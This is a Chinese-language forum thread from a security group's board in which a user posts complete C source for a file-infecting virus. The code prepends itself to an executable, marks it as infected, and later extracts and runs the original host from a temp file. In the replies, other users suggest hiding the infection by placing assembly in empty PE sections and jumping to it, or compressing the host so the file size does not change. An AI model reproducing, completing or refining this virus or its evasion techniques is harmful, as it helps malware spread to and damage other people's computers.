|
![]() | 作者: leonshoh [leonshoh]
![]() |
登录 |
别的不说了,看代码就知道了,本来用文件映射的,可是老是出现无效句柄只能用笨办法了!请各位指教 //bindVirus.c //Author:leonshoh #include <stdio.h> #include <windows.h> char flag[]="virus"; BOOL Isinfect(char *file,char *flag) { FILE *fp; char buffer[6]; buffer[5]=0x0; fp=fopen(file,"rb"); if(fp) { fseek(fp,120,0); fread(buffer,sizeof(char),5,fp); if(!strcmp(buffer,flag)) return TRUE; else return FALSE; fclose(fp); } } BOOL infect(char *file,char *flag,char *viruscode,DWORD virussize) { FILE *fp,*fp1; char *buffer; DWORD i=0,j,k,low; fp1=fopen(file,"rb"); if(fp1) { fseek(fp1,0,2); low=ftell(fp1); j=low; buffer=(char *)malloc(low); fseek(fp1,0,0); while(j>i) { k=fread(&buffer[i],sizeof(char),j-i,fp1); i=i+k; } fclose(fp1); } fp=fopen("temp.temp$","wb"); if(fp) { i=0; j=virussize; while(j>i) { k=fwrite(&viruscode[i],sizeof(char),j-i,fp); i=i+k; } i=0; j=low; fseek(fp,0,2); while(j>i) { k=fwrite(&buffer[i],sizeof(char),j-i,fp); i=i+k; } fseek(fp,120,0); fwrite(flag,sizeof(char),sizeof(flag)+1,fp); fclose(fp); } unlink(file); rename("temp.temp$",file); } BOOL UnbindFile(char *file,DWORD virussize,DWORD filesize) { FILE *fp,*fp1; char TempPath[MAX_PATH]; char NewFile[256]; DWORD i,j,k; char *buffer; STARTUPINFO StartupInfo; PROCESS_INFORMATION ProcessInformation; GetTempPath(MAX_PATH,TempPath); GetStartupInfo(&StartupInfo); GetTempFileName(TempPath,"vir",256,NewFile); fp=fopen(file,"rb"); fp1=fopen(NewFile,"wb"); if(fp) { fseek(fp,virussize,0); i=0; j=filesize-virussize; buffer=(char *)malloc(j); while(j>i) { k=fread(&buffer[i],sizeof(char),j-i,fp); i=i+k; } if(fp1) { i=0;j=filesize-virussize; while(j>i) { k=fwrite(&buffer[i],sizeof(char),j-i,fp1); i=i+k; } } fclose(fp1); fclose(fp); } CreateProcess(NewFile,NULL,NULL,NULL,FALSE,0,NULL,NULL,&StartupInfo,&ProcessInformation); WaitForSingleObject(ProcessInformation.hProcess,INFINITE); unlink(NewFile); } void main(int argc,char **argv) { FILE *fp; DWORD filesize; char *viruscode; DWORD i=0,k; fp=fopen(argv[0],"rb"); if(fp){ fseek(fp,0,2); filesize=ftell(fp); viruscode=(char *)malloc(filesize); fseek(fp,0,0); while(filesize>i) { k=fread(&viruscode[i],sizeof(char),filesize-i,fp); i=i+k; } fclose(fp); } if(Isinfect(argv[0],flag)) { UnbindFile(argv[0],4640,filesize); } else { infect("hacker.exe",flag,viruscode,4640); } } |
地主 发表时间: 07/13 18:23 |
![]() | 回复: xiean [xiean] ![]() |
登录 |
不错,下步就改成不影响文件大小就更好了,嘿 |
B1层 发表时间: 07/13 23:27 |
![]() | 回复: leonshoh [leonshoh] ![]() |
登录 |
我在想是不是把原来的文件用LZ77算法压缩一定大小,应该可以不改变大小了! |
B2层 发表时间: 07/14 09:57 |
![]() | 回复: xiean [xiean] ![]() |
登录 |
那样做一样不行的,大小多少会改变,执行文件多少会有一部分 00 00.... 之类的空段,特别是 .dll,你可以把你的程序编译成 .exe 再从中把核心部分 win32 asm 解出来,扔到这里面,调用时如果 00 段分得开,就用 jmp 函数或其它的跳转函数(近程/远程)跳转执行,最后再创建新进程。 |
B3层 发表时间: 07/14 11:24 |
![]() | 回复: wyf1051985 [wyf1051985] ![]() |
登录 |
i agree with you |
B4层 发表时间: 07/14 19:21 |
![]() | 回复: leonshoh [leonshoh] ![]() |
登录 |
你的意思是利用PE的空穴原理?? 行是行,那不是用汇编写更简单? |
B5层 发表时间: 07/15 18:25 |
![]() | 回复: xiean [xiean] ![]() |
登录 |
我不是说了把你源码编译好了再把核心asm弄出来嘛,就是用汇编啦 |
B6层 发表时间: 07/15 18:56 |
|
20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写:NetDemon
粤ICP备05087286号